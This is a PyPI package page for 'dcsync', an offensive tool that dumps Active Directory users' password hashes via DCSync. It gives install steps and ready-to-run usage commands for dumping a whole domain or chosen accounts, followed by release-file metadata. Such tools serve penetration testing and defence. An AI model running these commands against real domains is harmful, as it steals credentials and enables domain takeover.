┓
┏┫┏┏┓┏┏┓┏
┗┻┗┛┗┫┛┗┗
┛
A python script for dumping domain users secrets using DCSync method.
Installation
You can install it from pypi (latest version is ) with this command:
sudo python3 -m pip install dcsync
OR from source :
git clone https://github.com/AetherBlack/DCSync
cd DCSync
python3 -m venv .
source bin/activate
python3 -m pip install .
OR with pipx :
python3 -m pipx install git+https://github.com/AetherBlack/DCSync/
Examples
- You want to DCSync the whole domain with Administrator privilegies :
dcsync $DOMAIN/$USER:"$PASSWORD"@$DC
- You want to DCSync for a single principal :
dcsync -just-user Aether $DOMAIN/$USER:"$PASSWORD"@$DC
- You want to DCSync the whole domain without Administrator privilegies using ldap method :
dcsync -method ldap $DOMAIN/$USER:"$PASSWORD"@$DC
You can use this methods :
samr (Default)
ldap
file
- You want to DCSync only a list of specific principals :
dcsync -just-user-file ./usersfile.txt $DOMAIN/$USER:"$PASSWORD"@$DC
How it works
The tool will use the provided method to enumerate the users of the domain. Then, it will connect to the DC's RPC to dump their NT hash, LM hash, AES hash and history hash.
Credits
License
Metadata
Release files for DCSync 0.0.1
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| dcsync-0.0.1.tar.gz | 28.7 kB | Without provenance | Details for dcsync-0.0.1.tar.gz |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Actions Reset |
|---|---|---|---|---|
| DCSync-0.0.1-py3-none-any.whl | Python 3 | none | any | Details for DCSync-0.0.1-py3-none-any.whl |
Total release size: 59.2 kB
Release files / dcsync-0.0.1.tar.gz
| Download URL | dcsync-0.0.1.tar.gz |
|---|---|
| Size | 28.7 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
d4bbbcf017a2549316a6ecd486253bfd59b7faa525674ba4929f9c6d003c990d
|
|
BLAKE2b-256 checksum How to use checksums |
e5cb34b502bfff4571b43a0994073ce3ba4ce8df3d1ccc25195b6fc4dca4cb49
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/6.0.1 CPython/3.12.8
|
Release files / DCSync-0.0.1-py3-none-any.whl
| Download URL | DCSync-0.0.1-py3-none-any.whl |
|---|---|
| Size | 30.5 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
74198a73995eea9ec7558014707a20574b0c6680fbb73f6b138479c48ae4a839
|
|
BLAKE2b-256 checksum How to use checksums |
adcfedc00a1a7f770c7e32714625fefb47bf12e58872cae545fc7042e39bfc38
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/6.0.1 CPython/3.12.8
|
Security for DCSync 0.0.1
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.